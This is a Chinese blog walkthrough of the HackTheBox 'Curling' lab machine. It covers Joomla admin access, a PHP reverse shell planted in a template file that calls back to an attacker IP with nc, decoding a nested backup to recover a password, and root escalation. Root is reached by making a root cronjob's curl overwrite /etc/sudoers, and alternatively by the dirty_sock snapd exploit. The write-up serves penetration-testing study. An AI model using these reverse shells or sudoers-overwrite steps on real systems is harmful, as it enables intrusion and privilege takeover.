hackthebox - curling (考点:信息搜集 & joomla安全 & xxd/bzip/gzip & linux修改脚本提权 & ubantu snap提权)

本文详细介绍了在hackthebox平台上的curling靶机渗透过程,涉及信息搜集、Joomla安全、利用xxd/bzip/gzip解密、Linux修改脚本提权以及Ubuntu snap提权。通过扫描发现SSH和Web服务,Web搜集信息找到secret.txt并解密,利用Joomla漏洞获取shell,进一步解密备份文件得到用户floris的密码。通过修改靶机的curl文件实现提权,最后利用Ubuntu snap版本漏洞完成root权限获取。
摘要由CSDN通过智能技术生成

1 扫描

22可能有ssh登录,80进web搜集信息

C:\root> nmap -A 10.10.10.150
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 22:47 EDT
Nmap scan report for 10.10.10.150
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp   open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
6646/tcp filtered unknown

2 web搜集信息

可以看到floris,可能这个就是用户
在这里插入图片描述
dirbuster扫到secret.txt,打开看是base码,拿去解密。
在这里插入图片描述

密码是Curling2018!

3 joomla拿shell

dirbuster还扫到登录页面10.10.10.150/administrator/登录,这个是joomla

有固定的的方法拿shell,从extension进入,在template那里,有俩模板,多个php文件,随便选一个,修改成自己的弹shell php代码
在这里插入图片描述

<?php
    system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.43 1337 >/tmp/f');
?>

我选的beez3模板的error.php 改完后,找error.php的位置,既然是在模板里,目录应该是和模板相关的。最后点击10.10.10.150/templates/beez3/error.php这个。
收到
tty,靶机里装的是python3 python3 -c 'import pty; pty.spawn("/bin/bash")'

4 拿floris的shell

老套路 https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite 自动扫
可以看到有密码backup备份文件,当然高度可疑了
在这里插入图片描述
用nc传到本机
打开是数字hex,
在这里插入图片描述

用xxd解密。又发现是bzip文件,再解,又是gzip文件,就这样不断解,直到发现是tar。再tar解压缩就搞定了。拿到密码5d<wdCbdZu)|hChXll,直接su floris ,切换到floris

C:\root\htb\curling> xxd -r what > 666
C:\root\htb\curling> file 666
666: bzip2 compressed data, block size = 900k
C:\root\htb\curling> mv 666 666.bzip
C:\root\htb\curling> bzip2 -d 666.bzip 
bzip2: Can't guess original name for 666.bzip -- using 666.bzip.out
C:\root\htb\curling> file 666.bzip.out 
666.bzip.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141

C:\root\htb\curling> mv 666.bzip.out 666.gz
C:\root\htb\curling> gzip -d 666.gz 
C:\root\htb\curling> file 666 
666: bzip2 compressed data, block size = 900k
C:\root\htb\curling> mv 666 666.bzip
C:\root\htb\curling> bzip2 -d 666.bzip 
bzip2: Can't guess original name for 666.bzip -- using 666.bzip.out
C:\root\htb\curling> file 666.bzip.out 
666.bzip.out: POSIX tar archive (GNU)
C:\root\htb\curling> mv 666.bzip.out 666.tar
C:\root\htb\curling> tar xvf 666.tar 
password.txt
C:\root\htb\curling> cat password.txt 
5d<wdCbdZu)|hChXll
C:\root\htb\curling> 


5 利用靶机的curl文件提权

目录下有admin-area这个,打开看input和report,这个不就是curl的内容吗,curl靶机的localhost。然后显示在report里

floris@curling:~$ cd admin-area/
floris@curling:~/admin-area$ ls
input  report
floris@curling:~/admin-area$ cat input 
url = "http://127.0.0.1"
floris@curling:~/admin-area$ cat output
cat: output: No such file or directory
floris@curling:~/admin-area$ cat report 
<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta charset="utf-8" />
        <base href="http://127.0.0.1/" />
        <meta name="description" content="best curling site on the planet!" />
        <meta name="generator" content="Joomla! - Open Source Content Management" />
        <title>Home</title>
        <link href="/index.php?format=feed&amp;type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
。。。。。

我用ls -la查看这俩文件的权限,以及pspy看进程这里下载
确认是root在执行的cronjob /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report

这里就有了提权思路,如果我改一改input,让root在curl时,curl的是我的恶意文件(比如造一个假的/etc/sudoers,里面我sudo -l 的内容是all),并输出覆盖替换靶机的真文件/etc/sudoers,完成狸猫换太子。/etc/sudoers这是管理sudo -l的地方,sudo -l是让用户能以root身份执行一些文件。如果我把改成all,我可以sudo -l执行all,所有文件。那我就是root,就可以提权了。

在这里插入图片描述
在这里插入图片描述
我先在本机造恶意文件sudoers,让sudo -l时,可以以root身份执行all全部,这样其实就是root了


root    ALL=(ALL:ALL) ALL
floris  ALL=(ALL:ALL) ALL

打开我的http服务python -m SimpleHTTPServer 80,让靶机可以调用我的恶意文件sudoers

接着,靶机里input,我nano修改它。内容改为如下,也就是给出我的恶意文件地址,让靶机能调我的文件,
然后输出覆盖到靶机的管理sudo -l命令的地方/etc/sudoers

url = "http://10.10.14.43/sudoers"
output = "/etc/sudoers"

在这里插入图片描述
最后保存,因为是cronjob,隔段时间才会执行。我等我的python http 有了显示:GET。靶机已调用,我就知道覆盖已完成。可以sudo -i切换了。输入之前拿到的floris的密码5d<wdCbdZu)|hChXll 成功 root。因为我之前tty时设置了下屏幕,所以有些乱序和乱码。没影响。
在这里插入图片描述

在这里插入图片描述

6 利用snap ubantu版本提权

第二种方法,linpeas扫描时,发现是ubantu

在这里插入图片描述

ubantu版本提权漏洞挺多的,只要是ubantu就留意查看是否可以用版本提权。

这次用snap查看版本,搜漏洞。小于2.37 都可以

floris@curling:/tmp$ snap version
snap    2.32.8+18.04
snapd   2.32.8+18.04
series  16
ubuntu  18.04
kernel  4.15.0-22-generic
floris@curling:/tmp$ 

在这里插入图片描述

网址https://www.exploit-db.com/exploits/46362,kali本机里也有。

传送到靶机,python3执行。我虽然是dirty sock,但其实它就是root,sudo + 任何命令都是以root在执行。比如whoami,可见我已是root。拿下
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值